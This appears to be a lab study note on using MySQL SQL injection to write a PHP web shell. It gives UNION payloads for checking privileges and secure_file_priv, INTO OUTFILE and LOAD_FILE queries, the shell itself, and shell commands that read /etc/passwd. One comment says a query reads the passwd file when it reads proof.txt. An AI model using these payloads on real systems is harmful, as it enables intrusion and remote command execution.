SQLI WRITING WEB SHELL FILES

To be able to write files to the back-end server using a MySQL database, three things are required:

1. User with FILE privilege enabled

2. MySQL global secure_file_priv variable not enabled

3. Write access to the location we want to write to on the back-end server

To write a web shell, we must know the base web directory for the web server (i.e. web root). One way to find it is to use load_file to read the server configuration, like Apache's configuration found at /etc/apache2/apache2.conf, Nginx's configuration at /etc/nginx/nginx.conf, or IIS configuration at %WinDir%\System32\Inetsrv\Config\ApplicationHost.config, or we can search online for other possible configuration locations. Furthermore, we may run a fuzzing scan and try to write files to different possible web roots, using this wordlist for Linux or this wordlist for Windows. Finally, if none of the above works, we can use server errors displayed to us and try to find the web directory that way.

IDENTIFYING DB USER FILE PRIVILEGES

root@oco:~$ BROWSER > {targetSite:port}
 input field: ' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user-- -
 * can add a filter WHERE user="root" to only show privileges for the current user named root
 * Y, means YES, indicating superuser privileges
 * ALT: cn' UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges WHERE grantee="'root'@'localhost'"-- -
    - this cmd displays all of the possible privileges directly from the schema that is given to the current user
       - the FILE privilege is the most important as it enables the attacker to read local system files and potentially even write files

IDENTIFYING READING/WRITING FILE LOCATION

root@oco:~$ BROWSER > {targetSite:port}
 input field: ' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- -
 * the result shows that the secure_file_priv value is empty, meaning that we can read/write files to any location

 * MySQL global variables are stored in a table called global_variables, and as per 
   the documentation, this table has two columns variable_name and variable_value

IDENTIFYING WRITE ACCESS

root@oco:~$ BROWSER > {targetSite:port}
 input field: ' union select 1,'file written successfully!',3,4 INTO OUTFILE '/var/www/html/proof.txt'-- -
 * this cmd saves the specified string (file written successfully) into the file named proof.txt file
    - the file will be saved in the default webroot location /var/www/html
 * The SELECT INTO OUTFILE statement can be used to write data from select queries
   into files. This is usually used for exporting data from tables.
 * Advanced file exports utilize the 'FROM_BASE64("base64_data")' function in order 
   to be able to write long/advanced files, including binary data.

READING LOCAL SYSTEM FILES

#passwd file
root@oco:~$ BROWSER > {targetSite:port}
 input field: ' UNION SELECT 1, LOAD_FILE("/var/www/html/proof.txt"), 3, 4-- -
 * this cmd will read the contents of the passwd file through the SQL injection
 * this method can also be used to potentially leak the application source code as well.
 * ALT: BROWSER > {targetSite:port}/proof.txt
    - 1	file written successfully! 3 4

WRITING WEB SHELL TO THE BACK-END

root@oco:~$ BROWSER > {targetSite:port}
 input field: ' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- -

ACCESS

root@oco:~$ BROWSER > {targetSite:port}/shell.php?0=id
root@oco:~$ BROWSER > {targetSite:port}/shell.php?0=cat /etc/passwd
root@oco:~$ BROWSER > http://83.136.255.253:35994/shell.php?0=cat%20../flag.txt
 * d2b5b27ae688b6a0f1d21b7d3a0798cd 
 * this ?0={cmd} is the way the attacker executes cmd
 * there is no need to put cmds in quotes as the spaces will be replaced
   by the HTML engine
   
#ALTERNATE METHOD
root@oco:~$ curl http://{target:port}/shell.php?0=ls+-
 * assuming /var/www/html (apache default)